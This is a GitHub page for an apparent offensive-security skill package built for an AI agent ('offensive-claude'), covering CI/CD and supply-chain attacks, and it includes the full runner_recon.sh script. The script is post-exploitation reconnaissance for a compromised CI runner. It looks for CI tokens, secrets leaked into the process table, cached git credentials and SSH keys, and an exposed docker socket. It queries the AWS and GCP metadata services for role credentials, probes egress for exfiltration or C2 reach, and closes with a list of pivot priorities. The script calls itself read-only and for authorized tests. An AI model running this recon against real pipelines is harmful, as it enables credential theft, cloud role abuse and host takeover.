hypnguyen1209/offensive-claude / skills/cicd-supply-chain
cicd-supply-chain
FlaggedUse when attacking or auditing a CI/CD pipeline or software supply chain — pwn requests, poisoned pipeline execution, compromised/mutable-tag actions, dependency confusion, registry worms, runner backdoors, OIDC trust abuse, SLSA/provenance
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 9.2 KB |
| references/action-dependency-compromise.md | markdown | 7.5 KB |
| references/build-integrity-defense.md | markdown | 8.2 KB |
| references/package-registry-attacks.md | markdown | 7.6 KB |
| references/pipeline-poisoning.md | markdown | 9.5 KB |
| references/runner-attacks.md | markdown | 7.3 KB |
| references/secrets-oidc-abuse.md | markdown | 8.1 KB |
| scripts/dependency_confusion.py | script | 4.9 KB |
| scripts/malicious_action_scanner.py | script | 9.4 KB |
| scripts/oidc_trust_auditor.py | script | 7.9 KB |
| scripts/provenance_verify.sh | script | 3.5 KB |
| scripts/runner_recon.sh | script | 5.1 KB |
| scripts/workflow_auditor.py | script | 7.9 KB |
scripts/runner_recon.sh
View on GitHub#!/usr/bin/env bash
#
# runner_recon.sh - Recon a CI runner you have code-exec on (authorized engagement only).
#
# Enumerates the data that turns a runner foothold into a pivot:
# - runner type (GitHub-hosted ephemeral vs self-hosted persistent) and config files
# - GitHub Actions / GitLab / Jenkins environment (tokens, OIDC mint URL, secret-bearing vars)
# - secrets leaked into the process table by *other* concurrent jobs (ps -ww)
# - mounted docker socket (host takeover) and cloud IMDS reachability
# - cached VCS credentials (.git-credentials / .netrc) and SSH keys
# - outbound egress reachability (what can be exfil'd / what C2 is reachable)
#
# It is READ-ONLY: it prints findings, it does not modify the host or exfiltrate anything.
#
# Usage: bash runner_recon.sh # human-readable
# bash runner_recon.sh --quiet # only the [FOUND]/[WARN] lines
#
# Deps: coreutils, ps, curl (optional). Works on Linux/macOS runners (bash).
set -u
QUIET="${1:-}"
sect() { [ "$QUIET" = "--quiet" ] || printf '\n=== %s ===\n' "$1"; }
found() { printf '[FOUND] %s\n' "$1"; }
warn() { printf '[WARN ] %s\n' "$1"; }
info() { [ "$QUIET" = "--quiet" ] || printf ' %s\n' "$1"; }
sect "Runner identity & type"
info "host=$(hostname 2>/dev/null) user=$(id -un 2>/dev/null) uid=$(id -u 2>/dev/null)"
if [ -n "${RUNNER_NAME:-}" ] || [ -n "${GITHUB_ACTIONS:-}" ]; then
found "GitHub Actions runner: name=${RUNNER_NAME:-?} os=${RUNNER_OS:-?} workspace=${GITHUB_WORKSPACE:-?}"
[ "${RUNNER_ENVIRONMENT:-}" = "self-hosted" ] && warn "SELF-HOSTED runner (non-ephemeral risk: persistence + cross-job secret leak)"
[ "${RUNNER_ENVIRONMENT:-}" = "github-hosted" ] && info "github-hosted (ephemeral; no persistence between jobs)"
fi
[ -n "${CI_RUNNER_ID:-}" ] && found "GitLab runner: id=${CI_RUNNER_ID} tags=${CI_RUNNER_TAGS:-?} project=${CI_PROJECT_PATH:-?}"
[ -n "${JENKINS_URL:-}" ] && found "Jenkins agent: ${JENKINS_URL} job=${JOB_NAME:-?} node=${NODE_NAME:-?}"
# self-hosted runner config files (often contain the registration token / agent settings)
for d in "${RUNNER_DIR:-$HOME/actions-runner}" "$HOME/actions-runner" /actions-runner ./_work/../; do
for f in "$d/.runner" "$d/.credentials"; do
[ -f "$f" ] && warn "self-hosted runner config readable: $f"
done
done
sect "CI tokens / secret-bearing environment"
for v in GITHUB_TOKEN ACTIONS_RUNTIME_TOKEN ACTIONS_ID_TOKEN_REQUEST_URL ACTIONS_ID_TOKEN_REQUEST_TOKEN \
CI_JOB_TOKEN CI_REGISTRY_PASSWORD CI_DEPLOY_PASSWORD NPM_TOKEN PYPI_TOKEN \
AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN GOOGLE_APPLICATION_CREDENTIALS \
AZURE_CLIENT_SECRET DOCKER_PASSWORD GH_TOKEN; do
if [ -n "$(eval "echo \${$v:-}")" ]; then found "env present: \$$v (value redacted)"; fi
done
[ -n "${ACTIONS_ID_TOKEN_REQUEST_URL:-}" ] && warn "OIDC mint available: can request a cloud JWT (see secrets-oidc-abuse.md)"
# any other env containing secret-like substrings
env 2>/dev/null | grep -iE '(_token|_secret|_password|apikey|api_key)=' | sed 's/=.*/=<redacted>/' \
| while read -r line; do info "env secret-like: $line"; done
sect "Cross-job secret leak via process table (concurrent-job runner)"
ps -ww -eo pid,user,args 2>/dev/null | grep -iE -- '--?(password|token|secret)|AKIA[0-9A-Z]{16}|ghp_[A-Za-z0-9]{20,}|gho_|glpat-' \
| grep -v grep | while read -r l; do warn "secret in process args: $l"; done
sect "Docker socket / host takeover"
for s in /var/run/docker.sock /run/docker.sock; do
if [ -S "$s" ]; then warn "docker socket exposed: $s (container->host takeover possible)"; fi
done
sect "Cloud instance metadata (IMDS) reachability"
if command -v curl >/dev/null 2>&1; then
# AWS IMDSv2
TOK=$(curl -s -m 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60" 2>/dev/null)
if [ -n "$TOK" ]; then
ROLE=$(curl -s -m 2 -H "X-aws-ec2-metadata-token: $TOK" http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null)
[ -n "$ROLE" ] && warn "AWS IMDS reachable; instance role: $ROLE"
fi
curl -s -m 2 -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/ >/dev/null 2>&1 \
&& warn "GCP metadata reachable (service-account tokens available)"
fi
sect "Cached VCS credentials & SSH keys"
for f in "$HOME/.git-credentials" "$HOME/.netrc" "$GITHUB_WORKSPACE/../.git-credentials"; do
[ -f "$f" ] && warn "VCS credential cache readable: $f"
done
[ -d "$HOME/.ssh" ] && ls "$HOME/.ssh"/id_* 2>/dev/null | while read -r k; do warn "SSH private key: $k"; done
sect "Egress reachability (exfil / C2 surface)"
if command -v curl >/dev/null 2>&1; then
for h in https://api.github.com https://example.com; do
code=$(curl -s -o /dev/null -m 3 -w '%{http_code}' "$h" 2>/dev/null)
info "reach $h -> HTTP ${code:-timeout}"
done
info "(harden-runner / egress allowlist would block non-github.com here)"
fi
sect "Summary"
info "Pivot priorities: 1) self-hosted+concurrent => harvest process-table secrets;"
info " 2) OIDC mint => assume cloud role (no stored key);"
info " 3) docker.sock => host root; 4) IMDS role => cloud creds."
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